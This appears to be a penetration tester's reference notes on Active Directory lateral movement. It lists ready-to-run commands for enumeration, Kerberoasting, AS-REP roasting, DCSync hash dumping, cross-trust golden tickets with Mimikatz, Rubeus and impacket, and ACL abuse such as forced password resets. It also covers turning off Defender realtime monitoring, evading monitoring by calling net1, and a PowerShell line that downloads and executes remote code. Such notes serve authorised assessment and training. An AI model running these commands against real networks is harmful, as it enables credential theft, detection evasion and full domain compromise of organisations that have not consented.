7 - Lateral Movement

Active Directory

See more about… Active Directory

Source: Docs > 2 - Pre-Engagement > checklist#active-directory

Active Directory

  • 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445, net config workstation)
  • 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or net user /domain)
  • 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
  • 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
  • 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
  • 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
  • 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
  • 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
  • 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
  • 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)

Authentication Protocol Selection

MethodAuthentication ProtocolEncryptionLimitations
IP Address (e.g., 192.168.1.10)NTLMRC4, NTLMv2No Kerberos support, may be blocked by policies, more logging/alerting
Hostname/FQDN (e.g., DC01.cooldomaininc.local)Kerberos (TGT/TGS)AES-128, AES-256, RC4Requires DNS resolution, subject to Kerberos delegation restrictions (Double Hop problem)

Domain Enumeration

DC Port Cheatsheet
PortServiceRole / Why it identifies a DC
53DNSAlmost all DCs run DNS (AD Integrated DNS).
88KerberosThe Smoking Gun. Only KDCs (Domain Controllers) listen here.
389LDAPDirectory Access. Essential for AD.
445SMBRequired for SYSVOL (Group Policy) replication.
636LDAPSSecure LDAP (Indicates a Certificate is installed).
3268Global CatalogHigh Fidelity. Indicates the server has a full index of the Forest.
3269GC SSLSecure Global Catalog.
sudo nmap -n -Pn -p 53,88,389,445,636,3268,3269 --open -oA dc_hunt.txt -v <TARGET>
See more about… Network Info

Source: Docs > 7 - Lateral Movement > Lateral Movement#network-info

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Access Domain Names

For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.

Split DNS Resolution (w/ VPN)

# 1. Enable dnsmasq plugin (Global Config)
sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak
sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf

# 2. Create the Domain Rule (Persistent)
# Syntax: server=/domain.com/10.10.10.10
echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf

# 3. Restart NetworkManager to apply the plugin change
sudo systemctl restart NetworkManager

# 4. Configure the VPN Connection
# Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn')
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns ""
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes

# 5. Reconnect VPN
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

All DNS Resolution (no Internet access)

# Configure the VPN connection to strictly use the Target DNS
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>"
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes

# Reconnect to apply
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

Verify

nslookup <TARGET>

Domain Information

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
$env:USERDOMAIN
echo %LOGONSERVER%
$env:LOGONSERVER
(Get-WmiObject Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain   # PowerShell (modern; no WMI)
systeminfo

User Enumeration

“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”

See more about… User Enum

Source: Docs > 5 - Exploitation > online-credentials-attacks#user-enum

User Enum

  1. No creds: Try anonymous sessions
  2. Later: with credentials
See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

AD Enumeration

See more about… BloodHound

Source: Docs > 9 - Notes > bloodhound#bloodhound

BloodHound

NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz

# Start and reset password for BloodHound via Docker
sudo systemctl enable --now docker
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd

Collecting Info

# Bloodhound/SharpHound - AD Mapping
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

  • Transfer Bloodhound data to attacker
  • Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
  • Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

PowerShell (ADSI searcher)

Uses [System.DirectoryServices] (ADSI/LDAP) so it works from any domain-joined host without the Active Directory RSAT module.

# Equivalent to: Get-ADDomain (defaultNamingContext) — RootDSE and default naming context (reuse $defaultNC below)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value

# Equivalent to: Get-ADDomain — Basic domain info
$domain = [ADSI]"LDAP://$defaultNC"
$domain.Name

# Equivalent to: Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName — Search for Kerberoastable accounts (requires Domain user)
# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll()

# Equivalent to: Get-ADTrust — Domain trust relationships (trustedDomain objects under CN=System)
$sysNC = "CN=System," + $defaultNC
$trustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC")
$trustSearcher.Filter = "(objectClass=trustedDomain)"
$trustSearcher.PropertiesToLoad.Add("name") | Out-Null
$trustSearcher.FindAll()

# Equivalent to: Get-ADGroup -Filter * — Group enumeration (all group names)
$searcher.Filter = "(objectCategory=group)"
$searcher.PropertiesToLoad.Clear(); $searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] }

# Equivalent to: Get-ADGroup -Identity <GROUP_NAME> — Single group by name
$searcher.Filter = "(&(objectCategory=group)(samAccountName=<GROUP_NAME>))"
$searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$groupResult = $searcher.FindOne()
$groupDN = $groupResult.Properties["distinguishedname"][0]

# Equivalent to: Get-ADGroupMember -Identity <GROUP_NAME> — Group members (member attribute contains DNs)
$groupEntry = [ADSI]"LDAP://$groupDN"
$groupEntry.Properties["member"].Value

PowerView (deprecated)

Although “dated” code-wise and heavily flagged by Security Products the underlying LDAP queries have not changed, and it is still functional.

# Enum users
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/
Get-DomainUser -Identity <USER> -Domain <DOMAIN> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

# Enum Domain Admins
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Enum Domain Trusts
Get-DomainTrustMapping

# Test Admin access locally or remotely
# https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/
Test-AdminAccess -ComputerName <MACHINE>

# Kerberostable accounts
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

.NET port of PowerView… usually has same functions and syntax. Useful when a host or network has PowerShell hardening.

Living Off the Land (Native Binaries)

Typically, these log less and not flagged as much as pulling external tools. Especially in offline or segmented environments these can be more useful.

See more about… Windows Defender, Windows Firewall

Source: Docs > 6 - Post-Exploitation > security-products#windows-defender

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Initial Survey

DOS Version

# Am I Alone??
quser
qwinsta

# All-in-1 Info Command
systeminfo

# Hostname, Domain, DC, net interfaces, env vars
hostname
echo %USERDOMAIN%
echo %logonserver%
ipconfig /all
set
# OS Version
ver.exe
# Security Patches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Network Information
ipconfig /all
arp -a
route print
netstat -anob
netsh advfirewall show allprofiles

WMI Version

# Basic Host Info
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

# Basic Domain Info
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

# Security Patches
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Process List
wmic process list /format:list

# Domain and DC Info
wmic ntdomain list /format:list

# Users on the Domain
wmic useraccount list /format:list

# Local Groups Info
wmic group list /format:list

# System Accounts Info
wmic sysaccount list /format:list

net Version

These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.

# Information about password requirements
net accounts

# Password and lockout policy
net accounts /domain

# Information about domain groups
net group /domain

# List users with domain admin privileges
net group "Domain Admins" /domain

# List of PCs connected to the domain
net group "Domain Computers" /domain

# List PC accounts of domains controllers
net group "Domain Controllers" /domain

# User that belongs to the group
net group <DOMAIN_GROUP> /domain

# List of domain groups
net groups /domain

# All available groups
net localgroup

# List users that belong to the administrators group inside the domain
net localgroup administrators /domain

# Information about a group (admins)
net localgroup Administrators

# Add user to administrators
net localgroup administrators <USER> /add

# Check current shares
net share

# Get information about a user within the domain
net user /domain <USER>

# List all users of the domain
net user /domain

# Information about the current user
net user %username%

# Mount the share locally
net use Z: \\<TARGET>\<SHARE>

# Get a list of computers
net view

# Shares on the domains
net view /all /domain[:<DOMAIN>]

# List shares of a computer
net view \\<TARGET> /ALL

# List of PCs of the domain
net view /domain

dsquery Version

Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.

# Query all users or computers
dsquery user
dsquery computer

# Query filter for all users in a Domain
dsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"

# Users With Specific Attributes Set (PASSWD_NOTREQD)
# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be set
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

# Search DCs in Current Domain
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

# Search disabled accounts
dsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
User Account Control Bit Values

User Account Control Bit Values

PowerShell Version

See more about… Bypass Execution Policy
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTP
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"

Domain Trusts

# Search for trusts (ADSI – no RSAT required)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$sysNC = "CN=System," + $defaultNC
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC")
$searcher.Filter = "(objectClass=trustedDomain)"
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.FindAll()

# Or use PowerView
Import-Module .\PowerView.ps1
Get-DomainTrust
Get-DomainTrustMapping
Get-DomainUser -Domain <DOMAIN> | select SamAccountName

netdom query /domain:<DOMAIN> trust

# Using netdom to query workstations and servers
netdom query /domain:<DOMAIN> workstation
See more about… Domain Trusts

Source: Docs > 9 - Notes > bloodhound#domain-trusts

Domain Trusts

  • Pre-built Query
  • Analysis > Domain Information > Map Domain Trusts

Abusing access between Domain Trusts

This normally occurs when a privileged user is migrated from one domain to another, and there is no SID filtering in place.

The following are required to do this attack via Mimikatz:

  • child domain’s
    • KRBTGT hash
      • (Linux) or privileged user creds that can access the domain
    • SID
    • FQDN
    • name of a target user (does not need to exist!)
  • root domain’s
    • SID of the Enterprise Admins group

via Windows

# Obtaining the KRBTGT Account's NT Hash using Mimikatz and Domain SID
.\mimikatz.exe 'lsadump::dcsync /user:<DOMAIN>\krbtgt'

## REMEMBER: above this SID is for the user... but it contains the domain/group portion. Just cut off the number after the last '-' section

Import-Module .\PowerView.ps1
Get-DomainSID

# Obtaining Enterprise Admins Group's SID using Get-DomainGroup
Get-DomainGroup -Domain <DOMAIN> -Identity "Enterprise Admins" | select distinguishedname,objectsid

# BEFORE: Verify no ticket
klist
ls \\<DC_FQDN>\c$

# Create GOLDEN TICKET
# NOTE: the user matters only for logging
.\mimikatz.exe 'kerberos::golden /ptt /user:<USER> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /sids:<TARGET_SID>'

# AFTER: Verify ticket creation and no access
klist
ls \\<DC_FQDN>\c$

===

# Rubeus method
.\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /sids:<TARGET_SID> /user:<USER> /ptt

# Then DCSYNC attack via Mimikatz
lsadump::dcsync /user:<DOMAIN>\<USER> /domain:<TARGET_DOMAIN>

via Linux

Individually…

# Performing DCSync with secretsdump.py
secretsdump.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> -just-dc-user <TARGET_DOMAIN>/krbtgt

# Domain SID
lookupsid.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> | grep "Domain SID"

# GOLDEN TICKET attack
ticketer.py -nthash <KRBTGT_HASH> -domain <TARGET_DOMAIN> -domain-sid <TARGET_DOMAIN_SID> -extra-sid <TARGET_SID> <USER>
export KRB5CCNAME="$(pwd)/<USER>.ccache"

# !!! use something like psexec to access !!!

…or all-in-one script, but with GREAT CAUTION and UNDERSTANDING how this could negatively impact the target

# NOTE: will prompt for password
raiseChild.py -target-exec <DC_IP> <TARGET_DOMAIN>/<USER>

# can use administrator hash from output to secretsdump.py for a user

Access Control List (ACL)

  • ObjectAceType Permissions: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • AddSelf abused with Add-DomainGroupMember

ACLAbuseImpact
DCSync (GetChanges+GetChangesAll)lsadump::dcsync / secretsdumpDump all domain hashes — game over
GenericAllSet-DomainUserPassword / Add-DomainGroupMember / RBCD / Shadow CredsFull control over object
AllExtendedRightsSet-DomainUserPassword / Add-DomainGroupMember / DCSyncExtended rights bundle
WriteDACLAdd-DomainObjectACL → grant self GenericAllEscalates to GenericAll
WriteOwnerSet-DomainObjectOwner → WriteDACL → GenericAllEscalates to GenericAll
OwnsSet-DomainObjectOwner → WriteDACL chainSame as WriteOwner
ReadLAPSPasswordGet-DomainComputer -Properties ms-mcs-AdmPwdInstant local admin
ReadGMSAPasswordgMSADumper.pyService account takeover
GenericWriteSet-DomainObject / Targeted Kerberoast / Shadow Creds / Logon scriptPartial control
ForceChangePasswordSet-DomainUserPasswordPassword reset without old pass
AddMembersAdd-DomainGroupMemberAdd self to privileged group
AddSelfAdd-DomainGroupMemberAdd self to one group only

Top ACL Attacks

  • ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
  • AddSelf - shows security groups that a user can add themselves to.
  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
ACL Attacks

by https://x.com/_nwodtuhs

Enumerating ACLs of User

See more about… Enumerating ACLs of User

Source: Docs > 9 - Notes > bloodhound#enumerating-acls-of-user

Enumerating ACLs of User

  1. Select starting node user
  2. Select Node Info > Scroll to Outbound Control Rights
  3. First Degree Object Control
    1. Right-Click edge > Help for more info
  4. Transitive Object Control
  5. Analysis > Dangerous Rights

PowerView

# Enum ACLs of User
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid <USER>
# Pay Attention to ObjectAceType and ActiveDirectoryRights
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose

# Get Group Membership of User
Get-DomainGroup -Identity "<GROUP>" | select memberof

REPEAT Get-DomainObjectACL of Group

Manual

WARNING: These commands are very slow

# Create list of Domain Users (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(objectCategory=user)"
$searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] } | Set-Content ad_users.txt

# Iterate over users to find filtered ACL (ACL via LDAP path)
foreach($line in [System.IO.File]::ReadLines(".\ad_users.txt")) {
  $u = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
  $u.Filter = "(&(objectCategory=user)(samAccountName=$line))"
  $u.PropertiesToLoad.Add("distinguishedName") | Out-Null
  $r = $u.FindOne(); if($r) { $dn = $r.Properties["distinguishedname"][0]; Get-Acl "LDAP://$dn" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<DOMAIN>\\<USER>'} }
}

# Manually resolve ACL (ObjectAceType) GUIDs (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$configNC = $root.configurationNamingContext.Value
$extSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://CN=Extended-Rights,$configNC")
$extSearcher.Filter = "(objectClass=controlAccessRight)"
$extSearcher.PropertiesToLoad.Add("name") | Out-Null
$extSearcher.PropertiesToLoad.Add("displayName") | Out-Null
$extSearcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$extSearcher.PropertiesToLoad.Add("rightsGuid") | Out-Null
$extSearcher.FindAll() | Where-Object { $_.Properties["rightsguid"][0] -eq "<GUID>" }

Checking Access Rights

Remote Desktop

# Check if machine is RDP-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Desktop Users" -ComputerName <COMPUTER_NAME>
See more about… CanRDP

Source: Docs > 9 - Notes > bloodhound#canrdp

CanRDP

  • BloodHound CanRDP:
    • Search for User > Node Info > Execution Rights
    • Analysis
      • Find Workstations where Domain Users can RDP
      • Find Servers where Domain Users can RDP

WinRM

# Check if machine is WinRM-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Management Users" -ComputerName <COMPUTER_NAME>
See more about… CanPSRemote

Source: Docs > 9 - Notes > bloodhound#canpsremote

CanPSRemote

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQL

# Enumerate MSSQL instances on the domain
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username "<DOMAIN>\<USER>" -password "<PASSWORD>" -query 'Select @@version'
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:'<PASSWORD>'@<TARGET>
See more about… SQLAdmin

Source: Docs > 9 - Notes > bloodhound#sqladmin

SQLAdmin

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Domain Misconfigurations

DNS Record Enumeration (adidnsdump)

Resolves hidden records in the DNS zone that standard enumeration misses.

# Dump all DNS records (Authenticated)
adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>

# Resolve unknown records (A Query)
adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r

User Attributes Mining

Hunting for passwords in descriptions and weak account configurations.

# Find Passwords in Description Field
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# Find PASSWD_NOTREQD Accounts
# Users not subject to password policy length (potential blank passwords)
# https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

SYSVOL & Group Policy Passwords

Searching for hardcoded credentials in scripts and registry preferences.

# 1. Manual Check (PowerShell)
ls \\<DC_NAME>\SYSVOL\<DOMAIN>\scripts

# 2. Automated Hunt (NetExec) - GPP Autologin & Registry
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_autologin
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_password

Printer Bug Enumeration (Spooler Service)

Checks if the Print Spooler is running on the DC (required for coercion attacks like PetitPotam/PrinterBug).

# SecurityAssessment.ps1
git clone https://github.com/itzvenom/Security-Assessment-PS && cd Security-Assessment-PS
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName <DC_FQDN>

Exchange Privilege Escalation

Abusing Exchange Windows Permissions group.

Reference: https://github.com/gdedrouas/Exchange-AD-Privesc

Getting Access Credentials

Kerberoasting (cracking TGS)

Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless. One must have 1 of the following:

  • an account’s cleartext password or NTLM hash
  • a shell in the context of a domain user account (Kerberos ticket)
  • SYSTEM level access on a domain-joined host

TGS Encryption Types

Encryption TypeHashcat ModeHash FormatNotes
RC413100$krb5tgs$23$*Most common in most environments. Type 23 encrypted ticket.
AES-12819600$krb5tgs$17$*Type 17 encrypted ticket.
AES-25619700$krb5tgs$18$*Sometimes received. Type 18 encrypted ticket.

Create Fake SPN via PowerView

Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.

SPN_NAME format: serviceclass/host[:port]: e.g. MSSQLSvc/sql01.domain.local:1433

First import PowerView:

See more about… via PowerView

Source: Docs > 6 - Post-Exploitation > nice-commands#via-powerview

via PowerView

Import PowerView:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1

If needed, authenticated as privileged user first:

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

Then, create and set NEW password of other account:

$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose

And alternatively add more permissions to that user:

# Get Group SID
# $group = (Get-DomainGroup "<GROUP>" -Server <DC_IP> -Credential $Cred).objectsid

# Add User to Group
Add-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" -Server <DC_IP> -Credential $Cred | Select MemberName
# Authenticate
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$CredSPN = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -SET @{serviceprincipalname='<SPN_NAME>'} -Verbose
Cleanup
# Remove fake SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -Clear <SPN_NAME> -Verbose

Linux

Impacket GetUserSPNs

# Enum users and collect tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

Crack TGS

# Crack TGS
hashcat -m <HASHCAT_MODE> spn_tickets.txt <WORDLIST>

# Verify via netexec
netexec smb <DC_IP> -u <USER> -p <PASSWORD>

Windows

via Rubeus

# Show Kerberoastable users
.\Rubeus.exe kerberoast /nowrap

# Show Kerberoastable admins
.\Rubeus.exe kerberoast /nowrap /ldapfilter:'admincount=1'

# Kerberoast User
# NOTE: /tgtdeleg attempts to force RC4 enc
.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>

NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account

via PowerView

# Enumerate SPN Accounts
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname,description
# Get TGS for User
Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGS
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>

via Manual Method

# REQUIRED: declare new type
Add-Type -AssemblyName System.IdentityModel

# Request and load all TGS for all SPNs into memory
# NOTE: these will need to be dumped from memory
setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

# Dump TGS from memory
.\mimikatz.exe
base64 /out:true
kerberos::list /export

# Format Base64 TGS
echo '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt

# CRACK!

See cracking: Crack TGS

AS-REP Roasting

When Kerberos pre-authentication is disabled, an attacker can request encrypted authentication responses without needing the user’s password and later attempt offline password cracking.

Windows

# Enumerate Vulnerable Users (PowerView)
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

# Roast Specific User (Rubeus)
.\Rubeus.exe asreproast /nowrap /format:hashcat /user:<USERNAME>

Linux

# Linux Alternative (Kerbrute)
# Brute-force users AND auto-check for AS-REP Roasting
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>

DCSync

Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.

Enum via PowerView

# Look for DS-Replication-Get-Changes-All
$sid = Convert-NameToSid <USER>
Get-ObjectAcl "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Attack via netexec

See more about… NTDS Extraction

Source: Docs > 9 - Notes > netexec#ntds-extraction

NTDS Extraction

# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it)
nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

To dump one account instead of the full database, add --ntds --user <USER>:

# Dump a specific user only (NTDS hash extraction scoped to one account)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgt

Attack via mimikatz

See more about… DCSync

